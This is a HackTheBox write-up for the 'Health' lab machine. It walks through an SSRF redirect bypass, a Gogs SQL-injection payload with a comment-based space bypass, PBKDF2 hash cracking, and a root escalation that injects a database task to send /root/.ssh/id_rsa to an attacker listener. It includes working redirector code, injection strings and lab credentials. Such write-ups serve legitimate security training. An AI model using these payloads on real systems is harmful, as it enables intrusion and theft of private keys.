HTB: Health Writeup
Health - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Health |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.214 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Health exposes a Laravel-based “HTTP Monitoring Tool” on port 80 that lets a user submit a URL for the app to health-check via a webhook. The monitoredUrl field naively filters localhost/127.0.0.1 strings but does not account for HTTP redirects, so a self-hosted Flask redirector on the jump box bypasses the filter entirely and reaches a Gogs instance bound to localhost:3000. That Gogs build (0.5.5.1010 Beta) is vulnerable to SQL injection in its user-search API, letting the PBKDF2 password hash of user susanne be dumped through the same SSRF channel and cracked offline. Root privesc abuses the exact same code path server-side: the Laravel app’s HealthChecker class is also driven by a tasks table in MySQL, processed on a cron running as root, and file_get_contents() on that path has no scheme filtering at all — so an injected task pointed at file:///root/.ssh/id_rsa gets its contents POSTed straight to an attacker-controlled listener.
TL;DR: SSRF via redirect bypass → reach internal Gogs 0.5.5.1010 Beta → SQLi dumps susanne’s PBKDF2 hash → crack → SSH → read Laravel .env DB creds → inject malicious MySQL tasks row → root cron file://-reads /root/.ssh/id_rsa → exfil via SSRF webhook → root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.43.214Results:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | Apache/HTTP | Laravel “HTTP Monitoring Tool”, vhost health.htb |
| 3000 | filtered | Firewalled from outside — later confirmed to be Gogs bound to localhost only |
The filtered state on 3000 (rather than closed) is the tell that something is listening there but only reachable locally — that’s the target for the SSRF.
# resolve the vhost seen in the appecho "10.129.43.214 health.htb" | sudo tee -a /etc/hostsService Enumeration
The site at health.htb is a small Laravel app whose whole purpose is: give it a URL, it file_get_contents()s that URL server-side and reports whether it’s “up,” optionally POSTing the fetched body to a second, attacker-supplied “payload”/webhook URL. Two input fields drive this: monitoredUrl (what to fetch) and webhookUrl (where to send the result), plus an onlyError flag that controls whether the response body is included in that outbound POST.
Vulnerability Assessment
- SSRF on the
/webhookmonitoring feature —monitoredUrlis passed tofile_get_contents()server-side. Directlocalhost/127.0.0.1strings are filtered, but the filter is string-based, not resolution-based. - Filtered port 3000 strongly suggested an internal-only service worth reaching via that SSRF.
Initial Foothold
Exploitation Path
Step 1 — confirm the naive filter and beat it with a redirect.
Submitting monitoredUrl=http://localhost:3000 (or 127.0.0.1) is rejected outright by the app’s blocklist. file_get_contents() transparently follows HTTP redirects, though, and the filter never re-checks the redirect target. Standing up a tiny Flask redirector on the jump box turns any URL into a 302 that the Laravel app will happily follow:
# redirector.py — runs on the jump box, outside Health's SSRF filterfrom flask import Flask, redirect, request
app = Flask(__name__)
@app.route("/")def go(): # ?url= is never inspected by Health's blocklist — it never sees "localhost" directly target = request.args.get("url") return redirect(target, code=302)# jump box (10.10.15.180)sudo python3 -m flask --app redirector.py run --host=0.0.0.0 --port 8000Step 2 — chain the redirect through the app’s own exfil channel.
Rather than catching a raw inbound connection, the cleaner exfil path is the app’s own webhookUrl feature: setting onlyError=0 makes the app include the full fetched response body in a POST it fires to webhookUrl. So:
monitoredUrl = http://10.10.15.180:8000/?url=http://localhost:3000— bounces through the redirector, past the string filter, straight to the internal Gogs port.webhookUrl = http://10.10.15.180:9001— a capture listener on the jump box.onlyError = 0— forces the fetched body into the outbound POST.
The capture server receives the full Gogs landing page, confirming Gogs 0.5.5.1010 Beta running on localhost:3000.
Step 3 — Gogs 0.5.5.1010 Beta SQL injection.
This Gogs build has a publicly documented SQL injection in its user-search API (/api/v1/users/search?q=) — no CVE was ever assigned to it, but it’s well-known from third-party write-ups analyzing this exact release. The endpoint strips space characters (0x20), which the standard bypass defeats by substituting SQL inline comments (/**/) for every space in the payload — a filter defeat commonly automated with an sqlmap tamper script, but usable by hand once the substitution is known.
Because the app’s q parameter maps into a raw SQL string, a UNION-based injection can pull arbitrary columns out of the underlying SQLite/MySQL-backed user table. Enumeration confirmed the query needed a 26-column UNION SELECT to align with Gogs’ user schema on this build, with one column overloaded to concatenate the interesting fields:
' /**/UNION/**/ALL/**/SELECT/**/1,2,..., (name||':'||passwd||':'||salt||':'||rands)/**/AS/**/c14, ...,26/**/FROM/**/user--/**/Delivered the same way as the fingerprinting request — through the redirector, with webhookUrl pointed at the capture listener and onlyError=0 — this returns susanne’s row: username, PBKDF2 password hash, salt, and rands.
Step 4 — crack the Gogs PBKDF2 hash.
Gogs 0.5.5 hashes passwords with PBKDF2-HMAC-SHA256 (10,000 iterations), which hashcat mode 10900 expects as base64-encoded salt/hash:
# passwd/salt values below are the raw hex/text pulled from the SQLi dumpb64_passwd=$(echo -n "<passwd_hex>" | xxd -r -p | base64)b64_salt=$(echo -n "<salt>" | base64)
hashcat -m 10900 "sha256:10000:${b64_salt}:${b64_passwd}" /usr/share/wordlists/rockyou.txtResult: susanne:february15.
Step 5 — credential reuse over SSH.
ssh susanne@health.htb# password: february15cat /home/susanne/user.txtuser.txt captured.
Privilege Escalation
Poking around the Laravel install as susanne turns up the same monitoring logic that was just exploited over the network, this time driving a scheduled job:
cat /var/www/html/app/Http/Controllers/HealthChecker.phpHealthChecker::check() takes $webhookUrl, $monitoredUrl, $onlyError and calls @file_get_contents($monitoredUrl, false) — no scheme restriction whatsoever. app/Console/Kernel.php schedules a command that pulls its work items from a database tasks table instead of a web form, meaning any row inserted into tasks gets run through this exact same fetch-and-POST logic on the next cron tick.
cat /var/www/html/.envDB_CONNECTION=mysqlDB_HOST=127.0.0.1DB_PORT=3306DB_DATABASE=laravelDB_USERNAME=laravelDB_PASSWORD=MYsql_strongestpass@2014+Enumeration of the crontab confirmed the Laravel scheduler runs as root, executing every minute and processing pending rows from tasks — meaning any task inserted here gets file_get_contents()’d by root, and unlike the network-facing monitoredUrl filter, the file:// scheme is never blocked at all.
mysql -u laravel -p'MYsql_strongestpass@2014+' laravel-- schema checkDESC tasks;
-- malicious task: read root's private key, POST the body out via webhookUrlINSERT INTO tasks (id, monitoredUrl, onlyError, webhookUrl, frequency)VALUES ( 'a1b2c3d4-0000-0000-0000-000000000001', 'file:///root/.ssh/id_rsa', 0, 'http://10.10.15.180:9001', '* * * * *');Within a minute, root’s cron picks up the row, file_get_contents("file:///root/.ssh/id_rsa") reads the key locally (no network filter applies to file://), and with onlyError=0 the full key body is POSTed to the listener on the jump box.
# reformat the captured key: JSON-escaped \n and \/ need to become real newlines / slashessed -i 's/\\n/\n/g; s/\\\//\//g' root_keychmod 600 root_key
ssh -i root_key root@health.htbcat /root/root.txtroot.txt captured.
Operational note:
/tmpon the jump box was completely full during this run — any access under it would hang, and zsh heredocs silently produced 0-byte files instead of erroring. Working entirely out of/dev/shm(staging scripts as base64 blobs and decoding them there) sidestepped it.
Attack Chain Summary
Nmap (22/80/3000-filtered) → Laravel "HTTP Monitoring Tool" on :80, monitoredUrl filters "localhost" by string only → Flask redirector (jump box) turns http://.../?url=http://localhost:3000 into a 302 the app follows → onlyError=0 + webhookUrl exfil confirms internal Gogs 0.5.5.1010 Beta on :3000 → Gogs /api/v1/users/search?q= SQLi (space→/**/ filter bypass, 26-col UNION) → dump susanne's PBKDF2 (passwd/salt/rands) → hashcat -m 10900 → susanne:february15 → SSH reuse → user.txt → read app source: HealthChecker.php + .env → root cron drives `tasks` table, file:// unfiltered → INSERT malicious task → file:///root/.ssh/id_rsa exfil via same webhook mechanism → reformat key → ssh -i → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
| Flask (custom redirector) | SSRF filter bypass via 302 redirect, run from the jump box |
| Custom Python HTTP capture listener | Received SSRF exfil POSTs (webhookUrl target) |
Manual SQLi (/**/ space bypass, UNION) | Exploited Gogs 0.5.5.1010 Beta /api/v1/users/search |
hashcat (-m 10900) | Cracked Gogs PBKDF2-HMAC-SHA256 password hash |
mysql client | Read Laravel DB, inserted malicious tasks row |
ssh | Credential-reuse login, key-based root login |
sed | Reformatted exfiltrated id_rsa (escaped \n/\/) |
Key Learnings
Techniques Practiced
- SSRF filter bypass using an HTTP 302 redirect to reach a service the naive string-blocklist thought it had blocked
- Turning an app’s own “webhook notify” feature into an exfiltration channel (POST body of an internal fetch to attacker infra)
- Fingerprinting and exploiting a known SQLi in a specific vulnerable-version internal service (Gogs 0.5.5.1010 Beta) reached only via SSRF
- Cracking a Gogs PBKDF2-HMAC-SHA256 hash by reconstructing hashcat’s expected
sha256:iterations:b64salt:b64hashformat - Privilege escalation by finding the server-side twin of a client-facing vulnerable code path (same
file_get_contents()sink, this time root-cron-driven and completely unfiltered) and feeding it via direct DB access
Lessons Learned
- A blocklist that filters literal strings (
localhost,127.0.0.1) is not a real SSRF defense once the fetching client follows redirects — the check has to happen after resolution, not before. - The same vulnerable code path can have two different trust boundaries: the public-facing
monitoredUrlhad a (weak) filter, but the DB-driventasksversion of the identical sink had none at all — always check whether a “fixed” input path has an equivalent unfixed one elsewhere in the app. - When infrastructure resources (disk,
/tmp) are constrained, quietly-failing tooling (zsh heredocs writing empty files instead of erroring) can look like a false negative — verify writes landed before trusting downstream steps.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- “Health” official HackTheBox writeup — Document No. D22.100.199, prepared by amra, machine authored by irogir (used here for the Gogs PBKDF2 hash-format background, the
file_get_contents()SSRF mechanics, and the root-cron/tasks-table privilege escalation concept).